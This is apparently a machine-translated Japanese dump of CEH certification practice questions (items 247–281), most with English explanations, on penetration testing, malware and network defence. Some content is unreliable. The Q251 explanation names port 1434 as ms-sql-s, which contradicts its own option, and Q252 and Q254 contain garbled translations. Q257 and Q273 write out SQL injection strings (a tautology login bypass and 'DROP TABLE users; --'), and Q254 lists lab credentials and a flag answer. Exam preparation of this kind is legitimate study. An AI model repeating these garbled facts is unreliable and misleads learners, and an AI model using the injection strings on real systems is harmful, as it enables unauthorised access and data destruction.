Modifying and uploading altered instructions to a programmable controller without authentication or cryptographic verification represents a firmware update attack, where malicious or unauthorized firmware changes the device's operational behavior.

質問: **247**
侵入テスト担当者がクライアントのネットワーク上で列挙テストを実施しています。テスト担当者は列挙活動を行うための許可を取得済みです。リモートのプロセス間通信(IPC)共有を特定し、それに関する詳細情報の収集を試みています。テスト担当者は、目的のデータを収集するために一般的な列挙手法を使用することにしました。このシナリオに最も適した手法は次のうちどれでしょうか？
A. メールアドレスを使用してユーザー名を抽出する
B. 管理者認証情報をブルートフォース攻撃で試行し、IPC共有を調査する
C. Active Directory をブルートフォース攻撃する
D. DNSゾーン転送を実行する
正解: **(**正解を表示します**)**

質問: **248**
ある組織がネットワーク侵入検知システム(NIDS)を導入しました。侵入防御システム(IPS)とは異なり、NIDSの主な機能は何ですか？
A. 悪意のあるパケットが宛先に到達する前に自動的にブロックします。
B. すべてのネットワークトラフィックを暗号化します。

C. ネットワークトラフィックを監視し、不審なアクティビティに対してアラートを生成します。
D. エンドポイントのウイルス対策ソフトウェアを交換します。
正解: (正解を表示します)
A Network Intrusion Detection System primarily observes network traffic and alerts administrators when suspicious activity is detected. Unlike an IPS operating inline, a traditional NIDS typically does not block traffic automatically. Detection accuracy depends on signatures, behavioral analysis, and proper tuning to minimize false positives and negatives.

質問: **249**
DEF Corporationにおいて、多層構造のWebアプリケーションの脆弱性分析を深く掘り下げていくうちに、ある異常を発見しました。暗号化されたユーザーセッショントークンの中には、他のトークンよりもはるかに長いものがあり、ユーザーの役割に基づいて暗号化強度が変動している可能性が示唆されます。この不整合は、特に特権を持つユーザーセッションを暗号化攻撃に晒す恐れがあります。システムの複雑さと侵害が発生した場合の潜在的な影響を考慮すると、この特定の脆弱性を軽減するために最も適切な対策は何でしょうか？
A. すべてのユーザーロールで統一された暗号化強度を実装し、セッショントークンの長さのばらつきをなくします。
B. 暗号化キーを頻繁にローテーションし、古いキーがすぐに無効になるようにします。
C. セッショントークンに基づいて、異常なアクセスパターンを検出して警告する集中ログメカニズムを統合します。
D. アクセス制御を強化するために、高い権限を持つユーザーに対して多要素認証(MFA)を採用する。
正解: (正解を表示します)
Using uniform encryption strength for all session tokens removes cryptographic inconsistencies that could be analyzed or exploited by attackers, ensuring that elevated-privilege sessions are not more predictable or vulnerable than standard user sessions.

質問: **250**
給与データへの不正アクセスに関するアラートに対応した後、フォレンジックアナリストのジェイソン・ミラーは、シカゴの臨時職員が以前使用していたWindowsワークステーションに侵害があったことを突き止めた。イベントタイムラインを分析する中で、ジェイソンは、署名付きMicrosoftバイナリ(fodhelper.exe、eventvwr.exe、sdclt.exeなど、自動昇格実行ファイルのうちの1つ)を起動した非昇格プロセスを特定し、その結果、ユーザーにプロンプトが表示されることなく不正なコードが実行された。レジストリ分析により、現在のユーザーハイブの下にあるシェル関連キーが操作され、信頼済みバイナリがリダイレクトされて悪意のあるペイロードが呼び出されたことが明らかになった。どの手法が特権昇格を可能にした可能性が最も高いか？
A. カーネルエクスプロイト
B. スケジュールされたタスク
C. UACバイパス
D. DLLハイジャック
正解: (正解を表示します)

The use of auto-elevating Windows binaries combined with manipulation of registry keys under the current user hive to redirect execution is a well-known method to bypass User Account Control. This allows code to run with elevated privileges without triggering a prompt, which is characteristic of a UAC bypass technique.

質問: **251**
ノースカロライナ州シャーロットにある金融サービス会社で四半期ごとに実施されるセキュリティ監査において、あなたはサードパーティベンダーから引き継いだレガシーサーバー上の公開されているサービスをレビューする任務を負います。
スキャン中に、会社の稼働中のインベントリに記載されていないデータベースノードでTCPポート1434が開いていることが判明しました。ITチームにはこのサービスが稼働している理由を説明する記録がなく、このポートの公開が不要なデータベース関連のリスクを示しているかどうかを判断するよう依頼されました。標準的なポート割り当てに基づくと、このポートで稼働している可能性が最も高く、さらに調査が必要なサービスはどれでしょうか？
A. sql*net
B. ms-sql-m
C. ms-sql-s
D. sqlsrv
正解: **(**正解を表示します**)**
TCP port 1434 is officially assigned to the Microsoft SQL Server SQL Server Resolution Service (ms-sql-s), which provides instance resolution for SQL Server. Its unexpected exposure could indicate an unnecessary or misconfigured database service, representing a potential security risk.

質問: **252**
内部評価中に、テスターは、ホストのカーネルインターフェースへの無制限アクセスなど、不要な権限で実行されているDockerコンテナが複数存在することを発見しました。最も可能性が高いセキュリティ原則はどれですか？
A. 多層防御
B. 最も恵まれない人々
C. ネットワークセグメンテーション
D. 入手可能性
正解: **(**正解を表示します**)**
Containers should execute with only the permissions required for their intended function.
Excessive privileges increase the potential impact of container compromise and may facilitate container escape or host compromise. Applying the principle of least privilege significantly reduces the attack surface in containerized environments.

質問: **253**
送信中、転送中、または保存中のメッセージの完全性を保証するために使用できるアルゴリズムは次のうちどれですか？
A. ハッシュアルゴリズム

B. 完全性アルゴリズム
C. 対称アルゴリズム
D. 非対称アルゴリズム
正解: **(**正解を表示します**)**
Hashing algorithms generate unique hash values for data, allowing verification that the message has not been altered during transmission or storage.

質問: **254**
空欄を埋める
シナリオ
説明書
あなたは、情報セキュリティ分野における高度な研究開発を行うITおよびITES企業であるCEHORGのレッドチームの一員として採用されました。CEHORGは全国にオフィスを構え、ネットワークインフラによってリアルタイムで接続されています。
貴社はサイバーセキュリティインシデントの増加を懸念しており、貴社にインフラ全体に対する包括的なセキュリティ監査を委託しました。
CEHORGの社内ネットワークは、他の大規模組織と同様に、複数のサブネットで構成され、それぞれに様々な組織単位が収容されています。フロントオフィスは、顧客向けコンピュータに接続する別のサブネットに接続されています。同社は、顧客が製品やサービスを理解しやすいように、複数のキオスク端末を設置しています。また、スマートフォンやノートパソコンを持ち歩くユーザーのために、フロントオフィスにはWi-Fi接続環境も整備されています。
CEHORGの内部ネットワークは、軍事区域と非軍事区域で構成されています。セキュリティ対策として、また設計上、すべての内部リソース区域には異なるサブネットIPアドレスが設定されています。
軍事区域には、様々な部署にアプリケーションフレームワークを提供するアプリケーションサーバーが設置されています。非軍事区域には、ウェブサーバーやメールサーバーなど、組織の外部向けシステムが設置されています。本部のネットワークトポロジーとプロトコルは、本部との効率的な通信を確保するため、世界中のすべての支社に複製されています。
説明
CEH Practical試験では、C|EHプログラムで扱われる倫理的ハッキングの領域に基づいた20の課題が出題されます。試験では、それぞれに脆弱性のあるアプリケーションとサービスを含む複数の隠しマシンが用意されています。受験者は、さまざまな倫理的ハッキングの領域における知識とスキルを応用して、これらの課題を解決する必要があります。試験時間は6時間です。CEH Practicalの各課題は10ポイントで、CEH(Practical)資格を取得するには、20の課題のうち最低14の課題を解決し、合計140ポイントを獲得する必要があります。
サイバーレンジでは、Ethical Hacker Workstation、EH Workstation - 1、およびEH Workstation - 2にアクセスできます。EH Workstation - 1はParrot Securityマシンで、EH Workstation - 2はEthical Hacker Workstation - 1とEH Workstation - 2です。
- 2はWindows 11マシンです。これらのマシンは『リソース」タブから切り替えることができます。
各チャレンジにつき、最大3回まで挑戦できることにご注意ください。
利用可能なターゲットネットワーク:
10.10.55.0/24

192.168.44.0/24
192.168.200.0/24
除外事項：
10.10.55.1、10.10.55.2
192.168.44.1、192.168.44.2
192.168.200.1、192.168.200.2
EHワークステーション-1 (Parrot Security)マシンにアクセスするための認証情報は以下のとおりです。
ユーザー名: attacker パスワード: toor
EH Workstation - 2 (Windows 11) にアクセスするための認証情報は以下のとおりです。
ユーザー名: Admin パスワード: Pa$$w0rd
EHワークステーション1(Parrot Security)マシン上のOpenVASにアクセスするための認証情報は以下のとおりです。
ユーザー名: admin パスワード: password
OpenVASツールを開くには、デスクトップウィンドウ上部の「アプリケーション」をクリックし、「ペネトレーションテスト」→「脆弱性分析」→「OpenVAS - Greenbone」→「Greenbone脆弱性マネージャーサービスの開始」の順に移動してOpenVASツールを起動します。
注：EHワークステーション-1 (Parrot Security)マシンのデスクトップにあるusername.txtとpassword.txtは、認証情報/パスワードのクラッキング試行に使用できます。
旗
チャレンジ：
www.cehorg.com のウェブアプリケーションを探索し、page_id=103 のページでフラグの値を入力してください。(形式：N*aA*a)
正解:
1'mM@d

質問: **255**
シカゴのファースト・ユニオン銀行で内部セキュリティ評価の一環として、レイチェル・モーガンは、ネットワークの融資処理セグメント内で不正なパケットキャプチャツールが動作していないかどうかを評価しています。トラフィック監視中に、特定のホストが本来の宛先範囲を超えてフレームを処理している可能性を示唆する動作に気づきました。ネットワークインターフェースが明示的に宛先として指定されていないトラフィックを受け入れているかどうかを確認するため、レイチェルはプロミスキャスモードで動作するシステムから異常な応答を引き起こすように特別に細工されたパケットを送信することにしました。レイチェルは、スニファの存在を確認するためにどの検出手法を使用すべきでしょうか？
A. MACアドレスが間違っているパケットを送信してピングを行う方法
B. 逆引きDNSルックアップトラフィックを監視するDNS方式
C. 非ブロードキャストARPリクエストを送信するARP方式
D. NSEスクリプトを使用してスニファを検出し、プロミスキャスモードをチェックします。
正解: **A** (コメントを発表する)

Sending packets with an incorrect MAC address tests whether a host is operating in promiscuous mode, since a normal NIC ignores frames not addressed to it. A system running a sniffer in promiscuous mode may still process and respond to such packets, revealing its presence.

質問: **256**
攻撃者は、マルチテナント型クラウド環境において、標的となる仮想マシンと同じ物理サーバー上に悪意のある仮想マシンを配置する。そして、CPUタイミング解析を用いて暗号鍵を抽出する。
どのような種類の攻撃が行われたのか？
A. サイドチャネル攻撃
B. キャッシュポイズニングによるサービス拒否攻撃 (CPDoS)
C. クラウドクリプトジャッキング
D. メタデータのなりすまし
正解: **(**正解を表示します**)**
Extracting cryptographic keys through CPU timing analysis exploits information leaked via shared hardware resources. This is a classic side-channel attack, commonly seen in multi-tenant cloud environments where attackers infer sensitive data from timing or cache behavior.

質問: **257**
侵入テスト担当者は、Webアプリケーションのログインフォームが、ユーザー入力のサニタイズ処理が不十分なためにSQLインジェクション攻撃に対して脆弱であると疑っています。ログインフォームにおけるSQLインジェクション攻撃をテストする最も適切な方法はどれでしょうか？
A. ディレクトリトラバーサル攻撃を実行して機密ファイルにアクセスする
B. ユーザー名とパスワードの欄に「」または 1」= 1」と入力すると認証をスキップできます。
C. ログインページに対して総当たり攻撃を行い、有効な認証情報を推測する
D. 入力フィールドにJavaScriptを挿入して、クロスサイトスクリプティング(XSS)のテストを行います。
正解: **B (**コメントを発表する**)**
Supplying a tautological SQL condition forces the authentication query to always evaluate as true if input is not properly sanitized, directly testing whether the login form is vulnerable to SQL injection and can be bypassed.

質問: **258**
包括的な内部侵入テスト中に、テスターはターゲットシステムの広範囲のポートに対してUDPスキャンを使用して、開いているサービスを列挙しようとします。複数のUDPプローブを送信した後、テスターは一部のポー

トがすぐにICMP 宛先到達不能 - ポート到達不能」(タイプ3、コード3)応答を生成することを確認しました。しかし、大部分のポートは沈黙したままで、応答もエラーメッセージも表示されません。この段階では、ファイアウォールルールやIDSアラートはトリガーされていません。テスターは、プローブしたポートのいくつかについてスキャン結果が不確定であると疑っています。観察された動作に基づいて、テスターは応答しないポートについてどのような結論を合理的に導き出すことができるでしょうか？
A. レート制限が検出された後、システムはすべてのプローブをブロックしました。
B. それらは開いているか、フィルタリングされている可能性があり、再送信が必要になる場合があります。
C. ICMP応答が受信されなかったため、ポートが閉じられている可能性があります。
D. これらは、3者間の握手を必要とする一部のサービスに対応している可能性があります。
正解: **B (**コメントを発表する**)**
In UDP scanning, non-responsive ports can either be open (silently dropping packets) or filtered by a firewall. Since UDP is connectionless, the absence of a response is inconclusive, and retransmissions or alternative scanning methods are needed to determine the port state.

質問: **259**
ニュージャージー州のグラナイト・リッジ・テクノロジーズは、情報セキュリティガバナンスモデルの正式化に向けて準備を進めている。経営陣は、情報の機密性、完全性、可用性を確保しつつ、組織が情報セキュリティリスクを体系的に特定、評価、管理できるようにする、国際的に認められたフレームワークの採用を求めている。このフレームワークは、規制および契約上の義務の遵守を支援し、ステークホルダーに対するコミットメントを示すものでなければならない。
これらの要件を最もよく満たす規格はどれですか？
A. ISO/IEC 27001:2022
B. ISO/IEC 27005:2022
C. ISO/IEC 27701:2019
D. ISO/IEC 27002:2022
正解: **(**正解を表示します**)**
ISO/IEC 27001:2022 defines the requirements for establishing, implementing, maintaining, and continually improving an Information Security Management System (ISMS). It provides a structured framework for managing confidentiality, integrity, and availability while supporting risk management, regulatory compliance, and stakeholder assurance.

質問: **260**
多国籍金融機関のレッドチームアセスメントにおいて、あなたは様々な部門の主要人物を特定し、彼らのデジタルフットプリントを相関させて露出リスクを評価するという任務を負っています。目標には、プラットフォーム間でのユーザーエイリアスのマッピング、ジオタグ付きメディアの特定、ソーシャルメディアへの投稿行動に基づく潜在的な内部脅威の特定などが含まれます。チームはこのタスクのために複数のツールを選定しました。
承認された偵察ツールキットに記載されている技術的機能と制限を考慮すると、何百ものソーシャル ネットワーキング サイトをスキャンしてクロスプラットフォームのユーザー名の相関関係を提供しますが、地理位置情報の追跡や ID 関係の視覚化をネイティブにサポートしていないツールはどれですか。

A. 不気味な
B. ソーシャルサーチャー
C. マルテゴ
D. シャーロック
正解: (正解を表示します)
The tool described focuses on correlating usernames across many social platforms by checking their availability on hundreds of sites. This matches Sherlock, which is designed for cross- platform username enumeration but does not provide geolocation tracking or relationship visualization features.

質問: **261**
ウィスコンシン州マディソンにある公共サービスポータルに対し、認可されたセキュリティ評価が実施された。
管理されたテストアカウントで認証を行った後、評価者はアプリケーションによって発行された認証識別子を取得します。
管理された実験室環境下で、彼女は別の暗号化チャネルを介して接続された別のマシンから取得した識別子を再利用しようと試みる。識別子は有効であり、有効期限内であるにもかかわらず、アプリケーションは別の環境から要求が提示されると拒否する。
分析によると、サーバーは発行された識別子の継続使用を許可する前に、元の安全な交換に関連する特性を評価していることが示されています。
この行動を最もよく説明できる防御メカニズムはどれでしょうか？
A. DNS over HTTPSを使用したDNS解決トラフィックの暗号化
B. 認証トークンをTLS接続コンテキストに暗号的にバインドする
C. ネットワーク層でIPsec保護を適用する
D. HTTP Strict Transport Security の適用
正解: (正解を表示します)
The behavior indicates that the authentication token is tied to properties of the original secure session, so it becomes invalid when reused outside that same cryptographic session context.
This reflects a mechanism where tokens are bound to the TLS connection, preventing reuse from a different encrypted session even if the token itself is still valid.

質問: **262**
テキサス州オースティンのハイテク研究所で予定されていたセキュリティレビュー中に、侵入テスト担当者のルーカス・ベネットは、州政府の新しい給与計算システムをプライベートクラウド上で評価していました。ある蒸し暑い午後、TaxCalcEngine.dllモジュールの入力検証ロジックをファジングテストしていた際、不正な納税者ID文字列を送信したことでバッファオーバーフローが発生しました。このクラッシュにより、チェックされていないデータ境界が原因で給与データが意図せず漏洩しました。ルーカスは、この問題の原因がコア処理モジュールのコーディングミスにあることを突き止めました。構造化分析アプローチを適用した場合、彼が発見した脆弱性を最も適切に表すカテゴリはどれでしょうか？
A. アプリケーションの不具合
B. パッチ管理の不備

C. 設定ミス／設定不良
D. 設計上の欠陥
正解: **A (**コメントを発表する**)**
The vulnerability arises from improper input validation and unchecked memory boundaries within a specific software component, leading to a buffer overflow. This is a coding-level issue in the application itself, which classifies it as an application flaw.

質問: **263**
ウェブサーバーのフットプリンティングにおいて、ウェブサイトの構造を解明する上で、どのファイルが有力なターゲットとなるでしょうか？
A. Robots.txt
B. domain.txt
C. ドキュメントルート
D. index.html
正解: **A (**コメントを発表する**)**

質問: **264**
ヒューストンの管理されたテスト環境で、倫理ハッカーのサラは、サイバーキルチェーン手法を用いて金融機関のネットワークのセキュリティ体制を評価するという任務を負っています。彼女はまず、企業の従業員とインフラに関する公開データを収集し、攻撃のシミュレーションを行います。
次に、従業員の反応をテストするための模擬フィッシングメールを作成し、その後、無害なペイロードを展開してシステムの脆弱性を評価する予定です。承認された侵入テストの一環として、サラはサイバーキルチェーンのどのフェーズを優先して、敵の攻撃を効果的にシミュレートすべきでしょうか？
A. 搾取
B. 偵察
C. 武器化
D. 配達
正解: **(**正解を表示します**)**
The initial step described involves gathering publicly available information about employees and infrastructure. This corresponds to the reconnaissance phase, where attackers collect intelligence to plan and tailor subsequent attack stages.

質問: **265**
あるクラウドプロバイダーは、顧客の悪意ある行為によって組織の評判とサービス提供に悪影響が及ぶという事態に直面しました。この問題を最も効果的に防ぐことができたセキュリティ対策はどれでしょうか？
A. 複数テナント隔離技術の評価
B. 安全なログ管理の実装
C. 強力な暗号化アルゴリズムを使用する
D. 強固な認証方法の適用
正解: **A (**コメントを発表する**)**

Strong multi-tenant isolation prevents one customer's malicious activity from impacting other tenants or the provider's overall service and reputation by ensuring strict separation of resources, workloads, and security boundaries within the cloud environment.

質問: **266**
バージニア州アーリントンにある防衛関連企業が、従業員の人間による操作への感受性をテストするため、社内意識向上演習を開始した。評価中、外部の採用コンサルタントを装った人物が、近隣の業界交流イベントで数名のエンジニアに何気なく話しかけ始めた。複数回の会話を通して、その人物は徐々に話題を現在の研究イニシアチブ、開発スケジュール、社内プロジェクトのコードネームへと誘導していった。認証情報やシステムアクセスを直接要求することはなかった。代わりに、非公式な会話の中に巧妙に仕込まれた質問を通して、情報は段階的に入手された。このシナリオで最も正確に示されているソーシャルエンジニアリングの手法はどれか？
A. 何のために何のために
B. 餌付け
C. 引き出し
D. ハニートラップ
正解: **(**正解を表示します**)**
The scenario describes gradually extracting sensitive information through casual conversation and carefully crafted questions without directly requesting access or credentials. This technique is elicitation, where the attacker subtly guides dialogue to obtain valuable details.

質問: **267**
あなたは、テクノロジー企業からBluetooth対応デバイスのセキュリティ評価を依頼された認定倫理的ハッカーです。これらのデバイスには、一般的に強力なセキュリティを提供するセキュアシンプルペアリング(SSP)が有効になっています。評価中に、高度なブルートフォース攻撃手法を用いてSSP実装の脆弱性を悪用しようとしている攻撃者を発見しました。攻撃者はDiffie-Hellman鍵交換に部分的にアクセスしています。あなたの任務は、この攻撃に対抗する最も効果的な方法を特定することです。次のうち、最も効果的な対策はどれでしょうか？
A. 承認されたデバイスのみが接続できるように、デバイスのホワイトリスト機能を実装します。
B. 総当たり攻撃を遅らせるためにレート制限を課す。
C. Diffie-Hellman交換の暗号鍵長を長くすることでSSPを強化する。
D. 従来の Bluetooth の脆弱性を回避するため、すべての Bluetooth 接続に Bluetooth Low Energy (BLE) を使用します。
正解: **B (**コメントを発表する**)**
Rate-limiting directly mitigates brute-force attempts against the Secure Simple Pairing process by restricting the number of pairing or key-exchange attempts an attacker can make, making practical exploitation infeasible even if partial Diffie-Hellman information is exposed.

質問: **268**

テネシー州ナッシュビルにある大手物流会社が最近、社内管理システム全体に自動化アップデートを展開した。数日後、パフォーマンス監視ツールは、組み込みのスクリプトユーティリティに関連する発信接続の散発的な急増と短命な実行チェーンを報告し始めた。
セキュリティチームはディスク全体のスキャンと整合性チェックを実施しましたが、見慣れない実行ファイルや改ざんされたアプリケーションバイナリは見つかりませんでした。しかし、稼働中のシステムアクティビティを詳細に調査した結果、信頼できるシステムプロセス内で暗号化されたコマンドシーケンスが実行されていることが判明しました。このアクティビティは再起動後に停止しましたが、同様の管理操作がトリガーされると再び発生しました。
この動作パターンに最も合致するマルウェアのカテゴリを特定してください。
A. ルートキット
B. トロイの木馬
C. ファイルレスマルウェア
D. ワーム
正解: **C (**コメントを発表する**)**
The behavior described aligns with fileless malware, which operates in memory by leveraging legitimate system utilities and trusted processes to execute encoded commands. Because it does not rely on traditional on-disk executables or modified binaries, disk scans and integrity checks often fail to detect it, while the activity may reappear when specific system actions are triggered.

質問: **269**
侵入テスト担当者が、ファイルアップロードを無制限に許可するWebサーバーを調査しています。このサーバーは、ファイルタイプの適切な検証やサニタイズを行わずにファイルを受け入れます。テスト担当者は、この脆弱性を悪用してサーバーを制御するために、どの手法を用いるべきでしょうか？
A. SQLインジェクション攻撃を実行して、機密性の高いデータベース情報を抽出する。
B. クロスサイトスクリプティング(XSS)攻撃を利用してユーザーセッションクッキーを盗む
C. サーバーのFTPサービスに対して総当たり攻撃を行い、アクセス権を取得する。
D. イメージファイルに偽装したシェルスクリプトをアップロードして、サーバー上でコマンドを実行します。
正解: **(**正解を表示します**)**
Unrestricted file upload vulnerabilities allow an attacker to upload a malicious file, such as a web shell, disguised as a legitimate file type. If the server does not properly validate file contents or execution permissions, the uploaded script can be executed, granting the attacker command execution and potential control over the server.

質問: **270**
サイバーセキュリティ企業に勤務する倫理的ハッカーが、潜在的な脅威アクターのデジタルフットプリントを徹底的に偵察していたところ、興味深い発見をした。脅威アクターは、さまざまなインターネットフォーラムや隠しウェブページに一連のデジタル痕跡を残しており、将来の攻撃戦略を示唆していた。倫理的ハッカーは、脅威アクターに気づかれることなく、その潜在的な戦略に関する情報をできるだけ多く収集したいと考えており、ツールと手法を慎重に選択する必要がある。目立たないように行動し、脅威アクターに気づかれないようにするために、倫理的ハッカーが最も避けるべきアプローチは次のうちどれだろうか？

A. Wayback Machineなどのインターネットアーカイブサービスを利用して、脅威アクターのウェブページの過去のバージョンを調査し、追加の手がかりを探します。
B. フォーラム上で偽名を使って脅威アクターと直接やり取りし、彼らの計画に関するより多くの情報を得る。
C. Torブラウザを使用して匿名で閲覧し、痕跡を残さずに隠されたウェブページを調査する。
D. WHOISとDNSルックアップツールを使用して、インターネットフォーラムに関連付けられた所有者とIPアドレスに関する情報を取得します。
正解: **(**正解を表示します**)**
Direct interaction with the threat actor on forums risks revealing the investigator's interest and can alert the actor that they are being monitored, potentially causing them to alter or conceal their plans.

質問: **271**
ダラスにあるグローバルeコマースプラットフォームの侵入テスト中に、倫理的ハッカーのマリアは大規模なDoS攻撃をシミュレートしました。彼女は攻撃トラフィックを直接送信する代わりに、インターネット上の複数のオープンサービスにリクエストを偽造しました。これらのサービスは知らず知らずのうちに被害者のシステムに応答し、ターゲットに到達するトラフィックの量を増幅させました。マリア自身のマシンが生成したトラフィックはごくわずかだったにもかかわらず、数分以内に被害者のサーバーは大量の応答によって過負荷状態になりました。マリアが最も可能性の高い攻撃手法はどれでしょうか？
A. スマーフの攻撃
B. 分散型リフレクション型サービス拒否攻撃(DRDoS)
C. NTP増幅攻撃
D. ボットネット
正解: **B (**コメントを発表する**)**
Forging requests to third-party servers so that their responses are directed at the victim, amplifying the attack without generating large traffic from the attacker's own machine, is characteristic of a Distributed Reflection Denial-of-Service (DRDoS) attack.

質問: **272**
Leverox Solutionsは、脅威インテリジェンスプロセスを担当するセキュリティ専門家のアーノルドを雇用しました。アーノルドは、組織に対する特定の脅威に関する情報を収集しました。この情報から、潜在的なリスクを明らかにし、攻撃者の手法に関する洞察を得るのに役立つセキュリティイベントやインシデントに関するコンテキスト情報を取得しました。彼は、人間、ソーシャルメディア、チャットルームなどの情報源、およびサイバー攻撃につながったイベントから情報を収集しました。このプロセスでは、特定された悪意のある活動、推

奨される行動、および新たな攻撃に対する警告を含むレポートも作成しました。上記のシナリオでアーノルドが収集した脅威インテリジェンスの種類は何ですか？
A. 戦略的脅威インテリジェンス
B. 作戦上の脅威インテリジェンス
C. 技術的脅威インテリジェンス
D. 戦術的脅威インテリジェンス
正解: **(**正解を表示します**)**

質問: **273**
侵入テスト担当者が、データベース内のユーザー検索に動的SQLクエリを使用するWebアプリケーションを評価している。テスト担当者は、検索入力フィールドにSQLインジェクションの脆弱性があるのではないかと疑っている。
この脆弱性を確認するための最善のアプローチは何ですか？
A. ディレクトリトラバーサル攻撃を使用してサーバー設定ファイルにアクセスする
B. 検索フィールドにJavaScriptを挿入して、クロスサイトスクリプティング(XSS)の脆弱性をテストする
C. ユーザーログインページに対して総当たり攻撃を行い、脆弱なパスワードを推測する
D. 検索フィールドに「DROP TABLE users; --」と入力して、データベースクエリを変更できるかどうかをテストします。
正解: **(**正解を表示します**)**
Injecting a crafted SQL payload that alters the structure of the backend query directly tests whether user input is being unsafely concatenated into dynamic SQL statements, which is the defining condition for a SQL injection vulnerability.

質問: **274**
プロのハッカーであるジェイクは、標的のiPhoneにスパイウェアをインストールし、標的ユーザーの活動を監視した。彼は遠隔操作でデバイスをジェイルブレイクすることで、標的のモバイルデバイスを完全に制御し、音声録音、スクリーンショットの撮影、すべての通話とSMSメッセージの監視を行うことができる。
ジェイクが標的のデバイスを感染させるために使用したスパイウェアの種類は何ですか？
A. アンドロラット
B. トライデント
C. Zscaler
D. ドロイドシープ
正解: **B (**コメントを発表する**)**

質問: **275**
最近、ある大手企業のITシステムに対する脆弱性評価を実施したところ、セキュリティチームはいくつかの潜在的なリスクを特定しました。彼らは、これらの脆弱性を定量化し、優先順位付けするために脆弱性スコアリングシステムを使用したいと考えています。そこで、共通脆弱性評価システム(CVSS)を使用することにしました。特定された脆弱性の特性を考慮すると、CVSSがこれらの脆弱性を測定するために使用するメトリックの種類に関して、次の記述のうちどれが最も正確でしょうか？

A. 環境指標には、脆弱性の存続期間中に変化する特徴が含まれます。
B. 時間的指標とは、特定の環境または実装に基づいて脆弱性を測定することです。
C. 基本メトリックは、脆弱性の固有の特性を表します。
D. 時間的指標は、脆弱性の固有の特性を表します。
正解: **(**正解を表示します**)**

質問: **276**
認定倫理的ハッカーであるジェイソンは、大手eコマース企業にネットワークセキュリティの評価を依頼されました。偵察の一環として、ジェイソンは疑念を抱かれることなく、同社の公開サーバーに関する情報をできる限り多く収集しようとしています。彼の目標は、潜在的な侵入経路を見つけ出し、ネットワークインフラストラクチャを詳細に調査するためのマップを作成することです。ジェイソンは、同社の侵入検知システム(IDS)に気づかれることなくこの情報を収集するために、どのような手法を用いるべきでしょうか？
A. ジェイソンは、会社のIP範囲内にあるすべての稼働中のホストを特定するために、pingスキャンを実行する必要があります。
B. ジェイソンは各サーバーに直接接続し、既知の脆弱性を悪用しようと試みるべきです。
C. ジェイソンは、DNSゾーン転送を使用して、会社のサーバーに関する情報を収集する必要があります。
D. ジェイソンはWHOIS検索、NS検索、ウェブ調査などの受動的な偵察技術を使用すべきです。
正解: **D (**コメントを発表する**)**

質問: **277**
Sunglass IT Solutionsの不満を抱えた元従業員であるジェラードは、同社を標的に高度な攻撃を実行し、市場での評判を落とそうと企んでいます。攻撃プロセスを開始するために、彼はDNSフットプリンティングを実行し、DNSサーバーに関する情報を収集し、標的ネットワークに接続されているホストを特定しました。彼は、DNSドメイン名、コンピューター名、IPアドレス、DNSレコード、ネットワークWhoisレコードなどのDNSゾーンデータに関する情報を取得できる自動ツールを使用しました。さらに、彼はこの情報を悪用して、他の高度な攻撃を実行しました。上記のシナリオでジェラードが使用したツールは何ですか？
A. タオルルート
B. ザンティ
C. ネイティブ
D. ブルート
正解: **D (**コメントを発表する**)**

質問: **278**
最近、ある大企業に対するサイバー攻撃が発生しました。正体不明の攻撃者がネットワークに侵入し、権限昇格と横方向の移動を開始しました。セキュリティチームは、攻撃者がゼロデイ脆弱性を標的とした高度な技術を使用していることを突き止めました。この攻撃を理解し、予防策を提案するために採用された認定倫理的ハッカー(CEH)として、初期分析において最も重要な行動は次のうちどれでしょうか？
A. 攻撃者が使用した初期の攻撃方法を分析します。
B. 攻撃者が使用したデータ流出方法を調査する。

C. 攻撃者が権限昇格に使用した具体的なツールを特定する。
D. 侵害されたシステムで攻撃者が使用する永続化メカニズムをチェックします。
正解: **(**正解を表示します**)**

質問: **279**
Windowsマシンで、管理者の承認なしにWindows Defenderが無効になっている状態が表示されます。これはどの段階ですか？
A. 配送
B. 持続性
C. 偵察
D. 防御回避
正解: **(**正解を表示します**)**
Disabling Windows Defender is a defense evasion technique used to avoid detection and allow malicious activity to continue without interference from security controls.

質問: **280**
認定倫理的ハッカーであるあなたは、スマートシティプロジェクトのセキュリティプロトコルを評価するために招聘されました。この最先端のプロジェクトは、インテリジェント信号機、公共Wi-Fiポイント、高度な水管理設備を備えた相互接続システムで構成されています。IoTネットワークのログを評価したところ、特定の信号機と外部IPアドレス間で大量のデータ交換が行われていることを示す異常なトラフィックパターンを発見しました。さらに調査を進めた結果、この信号機には説明のつかないポートが開いていることが判明しました。これらの重大な事実を踏まえ、あなたは次にどのような行動をとりますか？
A. IoTネットワークのファイアウォールルールを徹底的に分析し、疑わしい外部IPとのさらなるやり取りを防止するように修正します。
B. ネットワークインフラストラクチャ全体にわたって徹底的な侵入テストを実施し、隠れた脆弱性をすべて発見します。
C. 信号機から外部IPへの逆方向の接続を試み、転送されるデータの種類と目的を理解することを目的とする。
D. 問題のある信号機をネットワーク全体から切り離し、ファームウェアを詳細に調査して、考えられるセキュリティ侵害を特定します。
正解: **(**正解を表示します**)**
Isolating the affected traffic light immediately contains the potential compromise, prevents further data exfiltration or lateral movement within the IoT network, and allows safe forensic analysis of the device's firmware to determine how the open port and anomalous communication were introduced.

質問: **281**
テキサス州オースティンの大手ソフトウェア企業、Orion Tech Labsで社内レッドチームによる調査が行われていた際、倫理ハッカーのエミリー・カーターは、組織のソフトウェア導入プロセスのレジリエンス(回復力)を評価する任務を負いました。財務チームがPDF生成用のユーティリティツールを頻繁にダウンロードしていることを知ったカーターは、信頼できるPDFコンバーターのインストーラーをセカンダリペイロードで再パッケージ化しました。従業員がインストーラーを実行すると、コンバーターは正常にインストールされ、正常に

動作しましたが、バックグラウンドでは隠された実行ファイルが密かにネットワーク外への通信を開始しました。ユーザーは不審なアクティビティに気付くことはありませんでした。
マルウェアが正規のアプリケーションと一緒に実行されるようにするために、エミリーが使用したと考えられる手法はどれですか?
A. ダウンローダー
B. パッカー
C. ドロッパー
D. ラッパー
正解: (正解を表示します)
The technique involves combining a legitimate application with a malicious payload so that both execute together when the user runs the installer. This is characteristic of a wrapper, which binds malware to a trusted program, allowing the malicious code to run in the background without alerting the user.

質問: **282**
